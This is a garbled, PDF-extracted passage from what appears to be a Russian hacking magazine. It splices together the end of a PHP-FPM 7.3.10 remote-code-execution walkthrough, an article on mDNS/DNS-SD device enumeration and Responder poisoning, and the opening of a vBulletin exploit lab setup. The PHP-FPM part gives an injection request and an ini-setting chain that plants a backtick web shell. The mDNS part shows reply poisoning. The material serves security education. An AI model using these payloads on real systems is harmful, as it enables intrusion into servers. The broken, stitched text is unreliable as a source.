Ука затель   изме нил ся, теперь он име ет зна чение  . Даль‐ 
ше,  как  ты  уже  зна ешь,  вызыва ется    и  добав ляет ся  стро ка

 и кон тро лиру емое нами зна чение из  .

pos 0x555556619400
FCGI_PUTENV

ORIG_SCRIPT_NAME orig_script_name

До бав ленная в перемен ные окру жения стро ка

/php-src-php-7.3.10/sapi/fpm/fpm/fpm_main.c
1165: FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name);

Итак, теперь мож но добав лять свои перемен ные. Нас инте ресу ет  .
С ее помощью мож но менять нас трой ки PHP.

PHP_VALUE

/php-src-php-7.3.10/sapi/fpm/fpm/fpm_main.c
1336: ini = FCGI_GETENV(request, "PHP_VALUE");
1337: if (ini) {
1338:   int mode = ZEND_INI_USER;
1339:   char *tmp;
1340:   spprintf(&tmp, 0, "%s\n", ini);
1341:   zend_parse_ini_string(tmp, 1, ZEND_INI_SCANNER_NORMAL, (
zend_ini_parser_cb_t)fastcgi_ini_parser, &mode);
1342:   efree(tmp);
1343: }

Толь ко  вот  не  все  так  прос то.  PHP‐FPM  хра нит  каж дую  перемен ную  окру‐ 
жения в струк туре  .fcgi_hash_bucket

/php-src-php-7.3.10/main/fastcgi.c
172: typedef struct _fcgi_hash_bucket {
173:   unsigned int              hash_value;
174:   unsigned int              var_len;
175:   char                     *var;
176:   unsigned int              val_len;
177:   char                     *val;
178:   struct _fcgi_hash_bucket *next;
179:   struct _fcgi_hash_bucket *list_next;
180: } fcgi_hash_bucket;

Все они хра нят ся в  , и в отладчи ке их мож но пос мотреть
коман дой 

fcgi_hash_buckets
.p *request.env.buckets

/php-src-php-7.3.10/main/fastcgi.c
182: typedef struct _fcgi_hash_buckets {
183:   unsigned int               idx;
184:   struct _fcgi_hash_buckets *next;
185:   struct _fcgi_hash_bucket   data[FCGI_HASH_TABLE_SIZE];
186: } fcgi_hash_buckets;

Здесь мож но обна ружить добав ленную нами перемен ную.

До бав ленная через уяз вимость перемен ная окру жения
в fcgi_hash_buckets

На вер ное,  ты  уже  заметил  проб лему:  целос тность  струк туры  наруше на.
Как  минимум  не  сов пада ют  дли на  перемен ной  ( )  и  ее  зна чения
( ).  PHP‐FPM  про веря ет  целос тность  и  такого  жес тко го  вме шатель‐ 
ства не потер пит.

var_len
val_len

Заг лянем в  .FCGI_GETENV

/php-src-php-7.3.10/main/fastcgi.h
38: #define FCGI_GETENV(request, name) \
39:   fcgi_quick_getenv(request, name, sizeof(name)‐1, FCGI_HASH_FUNC
(name, sizeof(name)‐1))

/php-src-php-7.3.10/main/fastcgi.c
1687: char* fcgi_quick_getenv(fcgi_request *req, const char* var, int
var_len, unsigned int hash_value)

1688: {
1689:   unsigned int val_len;
1690:
1691:   return fcgi_hash_get(&req‐>env, hash_value, (char*)var, 
var_len, &val_len);
1692: }

Сна чала вызыва ется  . Фун кция под счи тыва ет хеш на осно ве
некото рых дан ных перемен ной окру жения.

FCGI_HASH_FUNC

/php-src-php-7.3.10/main/fastcgi.h
31: #define FCGI_HASH_FUNC(var, var_len) \
32:   (UNEXPECTED(var_len < 3) ? (unsigned int)var_len : \
33:     (((unsigned int)var[3]) << 2) + \
34:     (((unsigned int)var[var_len‐2]) << 4) + \
35:     (((unsigned int)var[var_len‐1]) << 2) + \
36:     var_len)

Я хочу добавить  . Под счи таем ее хеш:PHP_VALUE

('_'<<2) + ('U'<<4) + ('E'<<2) + 9 = 2025

Под счет хеша PHP_VALUE

Нуж но  най ти  наз вание,  которое  будет  давать  такой  же  хеш.  Добав лять
перемен ные  мож но,  исполь зуя  хидеры  в  зап росе.  Если  передать  любое
незаре зер вирован ное имя, то оно получит пре фикс  .HTTP_

Кас томный хидер TEST в fcgi_hash_buckets

Ис ходя из фор мулы пер вое зна чение будет рав но  , дли на
дол жна быть рав на 9 (как у  ).

('P' << 2) = 320
PHP_VALUE

320 + x + y + 9 = 2025
x + y = 1696

Ес тес твен но, воз можных вари антов очень мно го. Возь мем, нап ример,  .
Теперь, ког да мы заменим этот добав ленный заголо вок на перемен ную 

, все про вер ки будут прой дены.

SLUT
PHP_‐

VALUE

/php-src-php-7.3.10/main/fastcgi.c
386: static char *fcgi_hash_get(fcgi_hash *h, unsigned int hash_value
, char *var, unsigned int var_len, unsigned int *val_len)
387: {
388:   unsigned int      idx = hash_value & FCGI_HASH_TABLE_MASK;
389:   fcgi_hash_bucket *p = h‐>hash_table[idx];
390:
391:   while (p != NULL) {
392:     if (p‐>hash_value == hash_value &&
393:       p‐>var_len == var_len &&
394:       memcmp(p‐>var, var, var_len) == 0) {
395:       *val_len = p‐>val_len;
396:       return p‐>val;
397:     }
398:     p = p‐>next;
399:   }
400:   return NULL;
401: }

Ос тает ся толь ко точ но попасть в адрес. Для это го вос поль зуем ся еще одним
заголов ком,  который  будет  играть  роль  пад динга.  Он  будет  под талки вать
передан ную  стро ку  в  нуж ное  мес то.  Обра ти  вни мание,  что  он  дол жен  быть
перед  заголов ком  Slut.  Если  пос мотреть  память,  то  там  хидеры  рас полага‐ 
ются в том же поряд ке, в котором были переда ны в зап росе.

Для  тес та я возь му опцию  . Если она будет внед‐ 
рена,  то  сер вер  вер нет  cookie  с  сес сией.  У  меня  получил ся  такой  рек вест.
Для перебо ра я прос то добав лял сим волы   в   и резуль тат кон тро лиро‐ 
вал через отладчик с помощью 

session.auto_start=1

a Pimp
.p request.env.buckets

GET /index.php/PHP_VALUE%0Asession.auto_start=1;;;?AAAAAAA… HTTP/1.1
Content‐Length: 11
Host: phprce.vh
Connection: close
Pimp: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Slut: was here

1750 букв А здесь сно ва опу щены. Отправ ляем и наб люда ем в отве те хидер
, а зна чит, пей лоад отра ботал успешно.Set‐Cookie

Ус пешная экс плу ата ция PHP‐FPM

Эта опция дей стви тель на, пока работа ет вор кер PHP‐FPM, который был про‐ 
экс плу ати рован.

Те перь оста лось най ти цепоч ку гад жетов из нас тро ек PHP, которые будут
давать выпол нение кода.   авто ры экс пло ита:Вот что пред лага ют

attack.go
var chain = []string{
 "short_open_tag=1",
 "html_errors=0",
 "include_path=/tmp",
 "auto_prepend_file=a",
 "log_errors=1",
 "error_reporting=2",
 "error_log=/tmp/a",
 "extension_dir=\"<?=`\"",
 "extension=\"$_GET[a]`?>\"",

}

 — вклю чает корот кую фор му записи PHP‐тегов;• short_open_tag=1

  —  ука зыва ет  дирек торию  ,  в  которой  PHP
будет искать фай лы;

• include_path=/tmp /tmp

 — файл с име нем   будет авто мати чес ки обра‐ 
баты вать ся перед вызовом любого скрип та;

• auto_prepend_file=a а

 — вклю чает логиро вание оши бок;• log_errors=1

  —  вклю чает  уро вень  логиро вания  оши бок
( );

• error_reporting=2

E_WARNING

 — ошиб ки будут так же логиро вать ся в файл  ;• error_log=1 a

  —  ука зыва ет  тег    в  качес тве  дирек‐ 
тории, в которой необ ходимо искать рас ширения;

• extension_dir=\"<?=`\" <?=`

  —  ука зыва ет    в  качес тве
име ни заг ружа емо го рас ширения.

• extension=\"$_GET[a]`?>\" $_GET[a]`?>

Пос ле того как все дирек тивы будут уста нов лены, PHP соз даст во вре мен ной
дирек тории   файл  . В него попадет ошиб ка такого вида:/tmp a

<?=`$_GET[a]`?>

То  есть  это  веб‐шелл  через  бэк тики.  Разуме ется,  каж дую  дирек тиву  нуж но
отправ лять  отдель ным  зап росом. В  ито ге мы име ем  уда лен ное  выпол нение
команд.

Уда лен ное выпол нение команд в PHP‐FPM 7.3.10

Ори гиналь ный экс пло ит, написан ный Эми лем, ты можешь  .ска чать на гит хабе

ДЕМОНСТРАЦИЯ УЯЗВИМОСТИ (ВИДЕО)

ЗАКЛЮЧЕНИЕ
Се год ня  я  разоб рал  одну  из  самых  инте рес ных  за  пос леднее  вре мя  уяз‐ 
вимос тей. Здесь прек расно все: от обна руже ния до написа ния пол ноцен ного
экс пло ита  с  кри тичес ким  импактом.  Это  отличный  при мер  того,  как  прев‐ 
ратить  ано малию  в  пол ноцен но  работа ющий  век тор  ата ки. Для  это го  нуж но
понимать механизм работы иссле дуемо го при ложе ния и усер дно ресер чить.

Най ден ная уяз вимость в оче ред ной раз доказы вает, что даже в таких круп‐ 
ных про дук тах, как PHP, еще пол но необ наружен ных уяз вимос тей.

Хо тя здесь и име ется опре делен ный спи сок началь ных усло вий, не сто ит
думать, что их не быва ет в дикой при роде. Сов сем наобо рот. Nginx — шту ка
гиб кая,  и  сущес тву ет  огромное  количес тво  заведо мо  уяз вимых  кон фигов.
Плюс ко все му раз работ чики любят копиро вать готовые нас трой ки друг у дру‐ 
га,  не  про водя  даже  минималь ный  их  ана лиз.  Это  тоже  не  при бав ляет
безопас ности.

К сло ву,  дефол тный  кон фиг Ubuntu 18.04 от  падения в  пучину RCE отде‐ 
ляет все го одна стро ка —  .try_files $fastcgi_script_name =404;

Де фол тный кон фиг fastcgi.conf для nginx в Ubuntu 18.04

Ес ли ее убрать, то получа ем уяз вимую сре ду. А это не такой уж и ред кий слу‐ 
чай.  Пред ставь,  что  nginx  и  PHP‐FPM  находят ся  на  раз ных  машинах.  Такая
схе ма доволь но час то встре чает ся в про дак шене.

Есть  еще  нес коль ко  кон фигура ций,  ког да  в 
исполь зует ся  более  жес ткое  регуляр ное  выраже ние,  но  экс плу ата ция  все
еще  воз можна.  Советую  пос мотреть  .  Если
хочешь  еще  глуб же  коп нуть  в  этом  нап равле нии,  то  нач ни  с 

,  которую  нашел  Оранж  Цай.  У  него  тоже  есть  нес коль ко  допол‐ 
нитель ных спо собов опти мизи ровать экс пло ит.

fastcgi_split_path_info

пулл‐рек вест  самого  Эми ля
раз бора  уяз‐ 

вимос ти

Что  каса ется  пат ча,  то  раз работ чики  доволь но  быс тро  отре аги рова ли
на инци дент и залата ли брешь. Но дис три бути вы PHP не так час то обновля‐ 
ются на сер верах, поэто му в бли жай шее вре мя будет еще мно жес тво потен‐ 
циаль но уяз вимых про дук тов. Так что не зевай, сле ди за обновле ниями дис‐ 
три бути вов и сво евре мен но накаты вай пат чи! Осо бен но те, которые повыша‐ 
ют безопас ность.

https://github.com/neex/phuip-fpizdam/blob/master/attack.go#L9
https://github.com/neex/phuip-fpizdam
https://vimeo.com/377637354
https://github.com/neex/phuip-fpizdam/pull/2
https://blog.orange.tw/2019/10/an-analysis-and-thought-about-recently.html
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MULTICAST DNS
SERVICE DISCOVERY

Mark Haase

ВЗЛОМ

Multicast  DNS  (mDNS)  и  Service  Discovery
(DNS‐SD) — это пов семес тно рас простра‐ 
нен ные  про токо лы,  их  сей час  по  дефол ту
вклю чают во мно гие тех ничес кие про дук ты,
осо бен но  пред назна чен ные  для  дома
или малень кой офис ной сети. В этой статье
я  раз беру,  что  пен тесте ру  сле дует  знать
о  mDNS  и  DNS‐SD  и  как  мож но  исполь‐ 
зовать  эти  тех нологии  для  собс твен ных
целей.

INFO

Это  перевод  статьи  Мар ка  Э.  Хааса, 
 в бло ге Hyperion Gray. Переве ла

Алё на Геор гиева.

впер вые
опуб ликован ной

ЧТО ТАКОЕ MDNS?
Офи циаль ные сай ты   и   спо соб ны ско рее
запутать,  чем про лить свет на суть этих  тех нологий. Поэто му — преж де чем
пог ружать ся  в  воп росы  безопас ности  mDNS  и  DNS‐SD  —  мы  обсу дим,
почему вооб ще эти про токо лы сущес тву ют и чем они на самом деле занима‐ 
ются.

Multicast DNS DNS Service Discovery

Оба про токо ла явля ются частью   — пакета тех нологий, который
помога ет сетевым устрой ствам находить друг дру га авто мати чес ки. Ког да ты
отправ ляешь документ на печать, а твой компь ютер сам пред лага ет на выбор
бли жай шие  прин теры,  ско рее  все го,  он  исполь зует  имен но  Zeroconf.  Про‐ 
токо лы  свя заны  с  DNS,  так  что  здесь  нуж но  хотя  бы  на  базовом  уров не
понимать, как устро ена сис тема  .

Zeroconf

DNS
Обыч но DNS работа ет «одно адресно»  (unicast) — это зна чит, что каж дый

зап рос отправ ляет ся на кон крет ный  IP‐адрес. Сло во multicast  (то есть «мно‐ 
гоад ресность»)  в  mDNS  озна чает,  что  зап рос  веер но  рас сыла ется  всем
девай сам широко веща тель ного домена (broadcast domain). Сам по себе тер‐ 
мин  « »  озна чает,  гру бо  говоря,  все  сооб‐ 
щающиеся устрой ства вто рого уров ня — нап ример, компь юте ры, соеди нен‐ 
ные  сетевы ми  ком мутато рами.  Это  важ ный  момент,  ведь  зап росы  mDNS
не  про ходят  через  роуте ры —  потому  что  роуте ры  уже  устрой ства  треть его
уров ня.

ши роко веща тель ный  домен

Раз берем ся  на  при мере. Мой MacBook  Pro  име ет  в  сис теме mDNS  имя
.  Выяс нить  это  мож но  во  вклад ке  «Общий  дос туп»  (Sharing)

сис темных нас тро ек.
MehBook.local

Что бы  вычис лить  IP мак бука, мы можем исполь зовать  инс тру мент DNS‐зап‐ 
росов вро де  :dig

 

 

 
10.105.0.203
$ dig @224.0.0.251 ‐p 5353 +short MehBook.local

Об рати  вни мание,  что  имя  закан чива ется  на   —  это  домен  вер хне го
уров ня,  зарезер вирован ный спе циаль но под mDNS. Если  ты видишь подоб‐ 
ное  имя  —  то,  веро ятно,  смо жешь  вычис лить  айпиш ник,  исполь зуя  mDNS.
Такие  домен ные  име на  называ ются  име нами  локаль ной  свя зи  (link‐local
names), потому что уви деть их мож но толь ко внут ри локаль ной сети.

.local

INFO

Имей в виду: некото рые сисад мины некор рек тно
исполь зуют  мес тный  домен  вер хне го  уров ня
вмес те  с  одно адресным  DNS.  Сле ди  за  собой,
будь осто рожен!

Вмес то того что бы посылать зап рос DNS‐сер веру на порт 53, мы исполь зуем
порт  5353  и  спе циаль ный  адрес    —  собс твен но,  муль тикас‐ 
томный. Этот кон крет ный адрес зарезер вирован спе циаль но для mDNS. Ког‐ 
да  на  адрес    при ходит  зап рос,  все  устрой ства  сети  получа ют
копию это го зап роса и могут на него отве тить. В нашем при мере мой мак бук
уви дел  зап рос  и  вер нул  по  нему  свой  собс твен ный  айпиш ник — 

.

224.0.0.251

224.0.0.251

10.105.0.
203

IP моего мак бука динами чес кий,  через  какое‐то вре мя он поменя ется —
а вот mDNS‐имя оста нет ся преж ним!  Так  что мы можем вза имо дей ство вать
с  домен ными  име нами  без  запус ка  DNS‐сер вера.  Сам  понима ешь,  чем
это полез но в домаш них и неболь ших офис ных сетях.

ЧТО ТАКОЕ DNS-SD?
В при мере с mDNS мы выяс няли айпиш ник устрой ства с уже извес тным име‐ 
нем.  Но  что,  если  ты  хочешь  свя зать ся  с  девай сом,  имя  которо го  не  зна‐ 
ешь, —  нап ример,  с  прин тером?  Эту  проб лему  как  раз  и  реша ет  про токол
обна руже ния  сер висов  (Service Discovery). Он  поз воля ет  устрой ствам  заяв‐ 
лять  о  кон крет ных  сер висах,  которые  они  пред лага ют, —  так,  что бы  мож но
было обна ружить их без цен тра лизо ван ной нас трой ки.

Нач нем с вычис ления прин теров:

 

 

 
Brother\032DCP‐L2540DW\032series._printer._tcp.local.
$ dig @224.0.0.251 ‐p 5353 ‐t ptr +short _printer._tcp.local

Тут нам помогут те же муль тикас томный DNS‐адрес и порт, но на сей раз мы
зап рашива ем PTR‐записи и исполь зуем спе циаль ное домен ное имя 

 — оно как раз пред назна чено для рас позна вания прин теров.
В ответ на этот зап рос мой прин тер Brother вер нул свое локаль ное домен ное
имя.

_print‐
er._tcp.local

Ес ли ты хочешь зап росить устрой ства с дру гими сер висами, то сто ит све‐ 
рить ся с их  . Нап ример, там есть любопыт ная служ ба
RAOP — она же про токол Apple, извес тный как AirTunes. Давай‐ка его вычис‐ 
лим:

офи циаль ным реес тром

$ dig @224.0.0.251 ‐p 5353 ‐t ptr +short _raop._tcp.local
C8D083XXXXXX\@Living\032Room._raop._tcp.local

Зап рос показы вает устрой ство в моей сети, пред лага ющее сер вис RAOP, —
это Apple TV под наз вани ем «Гос тиная» (Living Room). На самом деле в моей
сети  два  Apple  TV,  но    выводит  толь ко  пер вый  получен ный  ответ.
К  счастью,  есть  инс тру мен ты  и  получ ше.  На  macOS  это  коман да 
в  прог рам мном  модуле  Rendezvous  (Bonjour),  эппловской  реали зации
Zeroconf.

dig
dns‐sd

 

 

 
Browsing for _raop._tcp 
DATE: ‐‐‐Sun 16 Sep 2018‐‐‐ 
10:02:18.236  ...STARTING... 
Timestamp      Domain  Service Type   Instance Name 
10:02:18.237   local.  _raop._tcp.    D0D2B0XXXXXX@Bedroom 
10:02:18.238   local.  _raop._tcp.    C8D083XXXXXX@Living Room 

$ dns‐sd ‐B _raop._tcp

^C

Эта  коман да  разош лет  зап рос  и  отоб разит  все  получен ные  отве ты  (что бы
изба вить ся  от  них,  нуж но  будет  нажать  Ctrl‐C).  Теперь  мы  видим  оба  моих
Apple TV.

На  Linux  тот  же  набор  инс тру мен тов  пред лага ет  пакет  Avahi  (на
Debian/Ubuntu он называ ется  ).avahi‐utils

 

 

 
+ IPv6 D0D2B0XXXXXX@Bedroom      AirTunes Remote Audio local 
+ IPv6 C8D083XXXXXX@Living Room  AirTunes Remote Audio local 
+ IPv4 D0D2B0XXXXXX@Bedroom      AirTunes Remote Audio local 
+ IPv4 C8D083XXXXXX@Living Room  AirTunes Remote Audio local 

$ avahi‐browse _raop._tcp

^C

Avahi уме ет перево дить име на служб типа   в более понят‐ 
ные —  , нап ример. Так же Avahi может вычис‐ 
лить айпиш ник с помощью mDNS, так что   здесь вооб ще не нужен:

_raop._tcp.local
AirTunes Remote Audio local

dig

$ avahi‐resolve ‐‐name Bedroom.local
Bedroom.local   10.105.0.230

INFO

Об рати  вни мание,  что  при  mDNS‐зап росе  мы
не  встав ляем  зна чения  типа    —
потому что это наз вание служ бы, а не устрой ства.
Так же мы ничего не пишем сле ва от сим вола  .

_raop._tcp

@

ВЫЧИСЛЯЕМ УСТРОЙСТВА
Те перь ты видишь, чем пакет Zeroconf инте ресен пен тесте рам: бла года ря ему
мож но  быс тро  най ти  целый  спи сок  дос тупных  устрой ств  бук валь но  за  пару
зап росов.  А  Avahi  еще  и  поз воля ет  авто мати зиро вать  этот  про цесс.  Нап‐ 
ример,  впол не  реаль но  упа ковать  обна руже ние  сер висов  и  про бива ние  IP
через mDNS в один шаг.

 

 

 
+ enp4s0 IPv4 Brother DCP‐L2540DW series  UNIX Printer  local 
= enp4s0 IPv4 Brother DCP‐L2540DW series  UNIX Printer  local 
   hostname = [brotherB85F3190.local] 
   address = [10.105.0.3] 
   port = [515] 
   txt = ["UUID=e3248000‐XXXX‐XXXX‐XXXX‐XXXXXXXXXXXX"  
       "TBCP=F" "Transparent=T" "Binary=T" "PaperCustom=T" 
       "Scan=T" "Fax=F" "Duplex=T" "Copies=T" "Color=F" …] 

$ avahi‐browse ‐‐resolve _printer._tcp

^C

В резуль тате мы получа ем локаль ное имя хос та, IP‐адрес и порт (  —
дефол тный  порт  для  Line  Printer  Daemon).  Плюс  мно го  информа ции  о  воз‐ 
можнос тях прин тера в поле  .

tcp/515

txt
Ис поль зован ная  здесь  коман да  —  отличный  спо соб  перес читать  все

устрой ства кон крет ного типа, одна ко Avahi спо собен на боль шее! Сле дующая
коман да вычис ляет вооб ще все типы сер висов сра зу.

 

 

 
+ IPv6 8FB20F14F5966F78620XXXX    iPod Touch Music Library local 
+ IPv6 276A1455BC533567B08XXXX    iPod Touch Music Library local 
+ IPv4 8FB20F14F5966F78620XXXX    iPod Touch Music Library local 
+ IPv4 276A1455BC533567B08XXXX    iPod Touch Music Library local 
+ IPv6 8FB20F14F5966F78620XXXX    _appletv‐v2._tcp     local 
+ IPv6 276A1455BC533567B08XXXX    _appletv‐v2._tcp     local 
+ IPv4 8FB20F14F5966F78620XXXX    _appletv‐v2._tcp     local 
+ IPv4 276A1455BC533567B08XXXX    _appletv‐v2._tcp     local 

$ avahi‐browse ‐‐all

^C

На конец,  Avahi  может  слу шать  зап росы  по  про токо лам  Zeroconf  от  дру гих
устрой ств, что поз воля ет вычис лять девай сы фоново.

 

 

 
+ IPv6 MehBook            _companion‐link._tcp local 
+ IPv6 Bedroom            _companion‐link._tcp local 
+ IPv6 Living Room        _companion‐link._tcp local 
+ IPv4 MehBook            _companion‐link._tcp local 

$ avahi‐browse ‐a

^C

Обе эти коман ды мож но сочетать с  , что бы получить информа цию
об айпиш никах и пор тах каж дого девай са. Все устрой ства сети как на ладони!

‐‐resolve

И  конеч но,  нель зя  не  упо мянуть,  что    под держи вает  вычис ление
устрой ств Zeroconf с помощью скрип та  .

Nmap
broadcast‐dns‐service‐discovery

 

 

 
Starting Nmap 7.60 ( https://nmap.org ) at 2018‐09‐18 11:40 EDT 
Stats: 0:00:03 elapsed; 0 hosts completed (0 up) 
NSE Timing: About 0.00% done 
Pre‐scan script results: 

 
 

 
 

 
 

 
 

 
 

 
…snip…

$ nmap ‐‐script=broadcast‐dns‐service‐discovery

| broadcast‐dns‐service‐discovery:
|   224.0.0.251
|     80/tcp privet
|       txtvers=1
|       ty=Brother DCP‐L2540DW series [ACD1B8XXXXX]
|       note=Brother DCP‐L2540DW series
|       url=https://www.google.com/cloudprint
|       type=printer
|       id=10d70d78‐XXXX‐XXXX‐XXXX‐XXXXXXXXXXXX
|       cs=online
|       Address=10.105.0.3

Этот  скрипт  не  вклю чен  в  катего рию    —  его  мож но  най ти  толь ко
в  .

default
safe

Нем ного об огра ниче ниях
Это работа ет толь ко внут ри локаль ной сети, так что нуж но иметь к ней дос‐ 
туп.

•

Боль шие кор поратив ные сети обыч но сег менти рова ны, поэто му пот ребу‐ 
ется опор ная точ ка имен но внут ри инте ресу юще го тебя сег мента.

•

Есть мно го важ ных служб, которые не заяв ляют о себе через DNS‐SD, —
такие устрой ства в боль шинс тве слу чаев при дет ся вычис лять как‐то ина че.

•

Из‐за  того,  что  это  широко веща тель ные  про токо лы,  нуж но  хорошень ко
подумать — поз воля ют ли твоя так тика и стра тегия их исполь зовать?

•

ЭКСПЛУАТАЦИЯ
Окей, вычис ление устрой ств — это при коль но и все такое, но есть ли здесь
что поэкс плу ати ровать? Мы наш ли связ ку прин теров и Apple TV — и?..

Во‐пер вых, дер жи в уме, что про дук ты для домаш ней и неболь шой офис‐ 
ной сети, исполь зующие Zeroconf, с высокой веро ятностью име ют неп равиль‐ 
ные  нас трой ки  и  уяз вимос ти.  Один  прос той  при мер:  если  прин тер  аутен‐ 
тифици рует ся через LDAP‐сер вер, а у того сто ит дефол тный пароль про изво‐ 
дите ля,  ты  можешь  зах ватить  кон троль  над  сер вером,  зас тавить  прин тер
к  нему  обра тить ся  и  таким  обра зом  украсть  LDAP‐аттестат  прин тера.  Этим
спо собом мож но доволь но быс тро угнать домен ный акка унт!

WWW

Об  уго не  прин тера  с  помощью  LDAP‐сер вера
есть  .от личный пост на GrimBlog

Во‐вто рых,  в  пла не безопас ности Zeroconf  похож на  :  под разуме вает ся,
что  локаль ная  сеть  —  доверен ная.  Как  мы  уже  убе дились,  Zeroconf
не заботит ся о кон фиден циаль нос ти: мы можем фоново прос лушивать внут ри
сети все зап росы типа DNS‐SD. Аутен тифика ции в Zeroconf тоже нет: любое
устрой ство в сети может отоз вать ся на зап рос типа mDNS или DNS‐SD. Сле‐ 
дова тель но, зло умыш ленник может, нап ример, отве чать на зап росы с опе чат‐ 
ками в име нах (реаль ный домен такое прос то про игно риру ет). А если зап рос
сос тавлен  кор рек тно  —  попытать ся  обог нать  ответ  реаль ного  устрой ства
и пред ложить служ бы, которых на самом деле не сущес тву ет.

ARP

Ес ли  ты  еще  не  зна ком  с  ,  то  самое  вре мя  поз накомить ся:
это фан тасти чес кий  инс тру мент  для  спу фин га  (отравле ния  кеша)  локаль ных
сетей. Кро ме mDNS, он уме ет отправ лять NetBIOS и LLMNR, что дела ет его
иде аль ным ору дием пен теста.

Responder

WWW

Мы  сей час  рас смот рим  неболь шой  при мер
с исполь зовани ем Responder, но, если тебе нуж‐ 
но боль ше деталей, советую  .пост на 4ARMED

За пус каю Responder на машине, с которой буду ата ковать.

Responder ждет,  пока  какое‐нибудь  устрой ство в сети сде лает  зап рос. Этот
зап рос я делаю с машины‐жер твы: пыта юсь зап росить айпиш ник сво его мак‐ 
бука, но «слу чай но» опе чаты ваюсь.

 

 

 
DATE: ‐‐‐Tue 18 Sep 2018‐‐‐ 
12:18:31.228  ...STARTING... 
Timestamp     A/R Flags if Hostname        Address     TTL 
12:18:31.229  Add     2 5 MehBok.local.   10.105.0.2 120

~ $ dns‐sd ‐G v4 MehBok.local

За меть: нес мотря на опе чат ку в име ни хос та, ответ я получаю. Логи Respon‐
der показы вают, что это он отве тил — и перенап равил жер тву на ата кующую
машину.

 

 
[*] [MDNS] Poisoned answer sent to 10.105.0.203    for name MehBok.local

А  если  жер тва  отправ ляет  реаль ное  и  кор рек тно  написан ное  имя?  В  таком
слу чае  Responder  пыта ется  обог нать  зап рошен ное  устрой ство  и  отве тить
на зап рос рань ше. Вот, нап ример, я про биваю имя моего прин тера.

 

 

 
DATE: ‐‐‐Tue 18 Sep 2018‐‐‐ 
12:27:50.695  ...STARTING... 
Timestamp     Hostname                 Address      TTL 
12:27:50.696  brotherB85F3190.local.   10.105.0.3 240 
12:27:51.916  brotherB85F3190.local.   10.105.0.2 120

~ $ dns‐sd ‐G v4 brotherB85F3190.local

Пер вый  резуль тат —  ответ  реаль ного  прин тера.  Вто рой,  при шед ший  поч ти
на 1,2 секун ды поз же, — отравлен ный ответ от Responder. Боль шинс тво кли‐ 
ентов  при нима ют  толь ко  пер вый  ответ  и  игно риру ют  все  пос леду ющие,  так
что в нашем кон крет ном слу чае Responder не пре успел.

ЗАКЛЮЧЕНИЕ
Во обще Zeroconf — отличная и дос тупная тех нология. Ско рее все го,  ты уже
исполь зуешь  ее  дома  или  на  работе,  даже  если  не  отда ешь  себе  в  этом
отчет.  Ну  а  пен тесте ры  могут  исполь зовать  Zeroconf  для  тихого  или  даже
фоново го  вычис ления  устрой ств.  В  то  вре мя  как  ска ниро вание  через 
генерит кучу тра фика и очень харак терных при мет, вычис ление через Zeroconf
занима ет  сов сем  мало  тра фика  и  походит  на  нор маль ную  сетевую
активность. К тому же отравле ние mDNS с помощью Responder — куда более
надеж ный спо соб реали зовать ата ку пос редни ка, чем то же отравле ние ARP.

Nmap
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https://grimhacker.com/2018/03/09/just-a-printer/
https://en.wikipedia.org/wiki/Address_Resolution_Protocol
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ВЗЛОМ

Се год ня  мы  погово рим  сра зу  о  нес коль ких  уяз вимос тях.
Одна из них была най дена в популяр ном форум ном движ ке
vBulletin  и  поз воля ет  ата кующе му  выпол нять  про изволь ный
код, не имея никаких прав, — от такого безоб разия его отде‐ 
ляет  лишь  один  POST‐зап рос.  Так же  я  пот реплю  ста рич ка
Django  в  поис ках  SQL‐инъ екций  и  покажу,  как  работа ет
обход авто риза ции в базе дан ных InfluxDB.

2019 год под ходит к кон цу, все начина ют уси лен но готовить ся к праз дни кам.
Безопас ники  добива ют  свои  пос ледние  ауди ты,  которые  из  года  в  год
навали вают ся в эту пору. Неуди витель но — ведь фис каль ный  год  тоже под‐ 
ходит к кон цу, а бюд жеты еще не до кон ца пот рачены!

Пос ле таких пло дот ворных недель кру гом начина ется затишье, и это каса‐ 
ется в том чис ле информа цион ной безопас ности. Не так мно го уяз вимос тей
и активнос тей при ходит ся на конец декаб ря и начало янва ря. Поэто му сей час
самое вре мя вспом нить баги, которые, воз можно, оста лись незаме чен ными
в течение года.

Они  прос ты  по  сво ей  сути,  одна ко  это  не меша ет  им  иметь  кри тичес кий
ста тус.  Одни  дают  воз можность  выпол нить  про изволь ный  код,  дру гие  —
получить дос туп к чувс тви тель ным дан ным или вов се зах ватить пол ный дос туп
к сис теме. В этом году силь но дос талось ком мерчес кому форум ному движ ку
vBulletin: сра зу нес коль ко опас ных багов было най дено в пос ледних его вер‐ 
сиях во вто рой полови не года. С них и нач нем.
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Что бы  более  пред метно  раз говари вать  о  най ден ной  проб леме,  нуж но
под нять стенд и пос мотреть на нее поб лиже. Так как vBulletin — ком мерчес‐ 
кое при ложе ние,  я  пред лагаю  тебе самос тоятель но решить,  каким обра зом
его най ти.

В качес тве базы дан ных будем исполь зовать MySQL, а в качес тве веб‐сер‐ 
вера — докер‐кон тей нер на осно ве Debian.

docker run ‐d ‐e MYSQL_USER="vb" ‐e MYSQL_PASSWORD="EAQhaTXieg" ‐e 
MYSQL_DATABASE="vb" ‐‐rm ‐‐name=mysql ‐‐hostname=mysql mysql/
mysql‐server:5.7
docker run ‐‐rm ‐ti ‐‐link=mysql ‐‐name=websrv ‐‐hostname=websrv ‐p80
:80 debian /bin/bash

Ус танав лива ем стан дар тный набор из Apache2 и PHP.

apt update && apt install ‐y apache2 php nano php‐mysqli php‐xml 
php‐gd

Пос ле это го мож но запус кать веб‐сер вер.

service apache2 start

Те перь уста нав лива ем vBulletin, я буду исполь зовать вер сию 5.4.3.

Ус танов ка vBulletin вер сии 5.4.3

По  дефол ту  заг ружен ные  фай лы  хра нят ся  в  базе  дан ных,  такое  поведе ние
сов мести мо  с  экс плу ата цией  уяз вимос ти.  Поэто му  сна чала  нуж но  зай ти
в нас трой ки и поменять мес то хра нения ава таров.

Ме няем мес то хра нения заг ружен ных ава таров поль зовате лей в vBulletin

Заг ружа ется ава тар через отправ ку зап роса POST на 
.

/profile/upload‐pro‐
filepicture

POST /profile/upload‐profilepicture HTTP/1.1
Host: web.fh
Connection: keep‐alive
Accept: application/json, text/javascript, */*; q=0.01
X‐Requested‐With: XMLHttpRequest
Content‐Type: multipart/form‐data; boundary=‐‐‐‐WebKitFormBound
ary2V36WCZNIGxAuYwu
Cookie: сессионные_куки_

‐‐‐WebKitFormBoundary2V36WCZNIGxAuYwu
Content‐Disposition: form‐data; name="profilePhotoFile"; 
filename="orange_box.png"
Content‐Type: image/png

содержимое_файла
